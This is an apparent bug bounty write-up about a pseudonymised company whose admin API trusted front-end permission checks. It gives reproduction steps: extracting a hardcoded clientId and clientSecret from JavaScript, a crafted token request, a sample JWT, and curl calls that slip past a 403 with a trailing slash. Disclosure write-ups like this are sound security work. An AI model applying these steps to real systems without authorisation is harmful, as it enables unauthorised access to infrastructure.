Compromising custom AWS infra API [read/write access] from a clientId & clientSecret
How we got there
This was one of those times that i got an invitation and acted on it. The program (lets call it xboy)
had a wide scope *.xboy.me
.
I started doing subdomain enumeration.
findomain -t xboy.me -o
I found a sub called admin.xboy.me
. On visiting https://admin.xboy.me
one would get redirected to sso https://sso.xboy.me
via javascript. Well well aint it the time for ctrl + u
or view-source:https://admin.xboy.me
to see how it was underneath i went for https://admin.xboy.me/main.1337.js
, searched a few terms and got a hit via clientId
and clientSecret
after extracting the javascript and going through it i found out that the company relied on the "frontend" to check for permissions, this was being achieved by the following steps;
get jwt token from sso => decode token on the frontend => extract the permissions level => determine the capabilities of the given permissions => if user has no permission to access a page return a 403 page.
However this approach is heavily flawed; since we can call the api directly, the api doesn't check pemissions on the backend meaning any authenticated user could just do everything on the api.
Reproduction Steps
- Visit
https://admin.xboy.me
and see that we get redirected to sso - Stop redirect by doing
view-source:https://admin.xboy.me
and go tohttps://admin.xboy.me/main.1337.js
- Search for ClientId to get;
function(t){return e.apply(this,arguments)}}()},{key:"getBearer",value:function(){var e=Object(u.a)(o.mark((function e(t){return o.a.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,new w.a({clientId:"".concat("1337w3b4pp"),clientSecret:"".concat("sup3rs3cr3t"),tokenEndpoint:"https://tokens.xboy.me/connect/token",scopes:z}).credentials.doAuth().then((function(e){return e||""}))
- Base64 encode
1337w3b4pp:sup3rs3cr3t
to getMTMzN3czYjRwcDpzdXAzcnMzY3IzdA==
- Make and capture (with a proxy like burp) a request to
https://tokens.xboy.me/connect/token
and send it to repeater - Modify request to be;
POST /connect/token HTTP/2
Host: tokens.xboy.me
Authorization: BASIC MTMzN3czYjRwcDpzdXAzcnMzY3IzdA==
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
grant_type=client_credentials
- Send request to get an access token i.e
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMzM3dzNiNHBwIiwicm9sZXMiOlsiYWRtaW4uYXBpcy5yZWFkIiwiYWRtaW4uYXBpcy53cml0ZSJdLCJhdWQiOiJodHRwczovL2FkbWluLWFwaXMueGJveS5tZSIsIm5hbWUiOiIxMzM3IEFkbWluIiwiZGlyZWN0aXZlIjoic3VwM3JzM2N1cjNzM2NyM3Q0NGRtaW5AQVBJcyIsImlhdCI6MTUxNjIzOTAyMn0.yGVA4aRfOsCqbNddn1VoQoK-zxl3_mgNPWYTmRltM74
Playing with the tokens
In the same javascript i was able to find several api endpoints that could be used with this token;
const v={apiUrl:"https://admin-apis.xboy.me", accountsPath: apiUrl+"/accounts/all", accPath: apiUrl+"/accounts/[ID]", budgetsPath: apiUrl+"/budgets/all", budgetPath: apiUrl+"/budgets/[ID]", notificationsPath: apiUrl+"/notifications/all", notificationPath: apiUrl+"/notifications/[ID]"}
Attacker could
>-Read and Write available AWS resources
>-Obtain info on underlying infrastructure
Report
This bug was initially uncovered on march, at first i couldn't escalate it as i wasn't properly reading the javascript to grasp things and i reported as a low, however the bug always bugged me.
During my earlier tests the root https://admin-apis.xboy.me/
would always return a 403 ERROR even with the token which weirded me out and was one of the reasons i reported the bug as low believing the api was secure and i couldn't escalate it further
However a week (26/7/2023) ago i decided to look into it freshly, this time i had a considerable knowledge in javascript, so i went ahead and loaded the website and got the clientId and clientSecret
This time i did not test the api root only but also the path and when i did;
curl -H "Authorization: Bearer JWT_HERE" https://admin-apis.xboy.me/
returned a 403 error
curl -H "Authorization: Bearer JWT_HERE" https://admin-apis.xboy.me/accounts
returned a 403 error
curl -H "Authorization: Bearer JWT_HERE" https://admin-apis.xboy.me/accounts/
returned a 200 Ok with a lot of json data.
// note the forward slash after accounts
now i tested all endpoints the proper way and i had full read/write access however i only did the read access but the write was implied in the token
i added a new comment on the original report with all the new info requesting retriaging and severity increase.
After a while i got awarded a €€€ bonus.
Takeaways I learnt
During my initial report i did report in good faith and the company accepted it as a low because their new there was a potential issue. I had expected somehow that the company would give insight into the issue a little more or help escalate however i learned this is a dream i needed to wake up from; no company (most) will help a hacker (bug hunter) escalate a potential issue, thats all you. I learned to always push further and from different angles, because if they had marked it as n/a i wold have been disappointed and probably wouldn't have hacked on it again to find the full potential.
Contacts
@github @twitter @LinkedIn @Intigriti @hackerone_old
🔥🔥: 0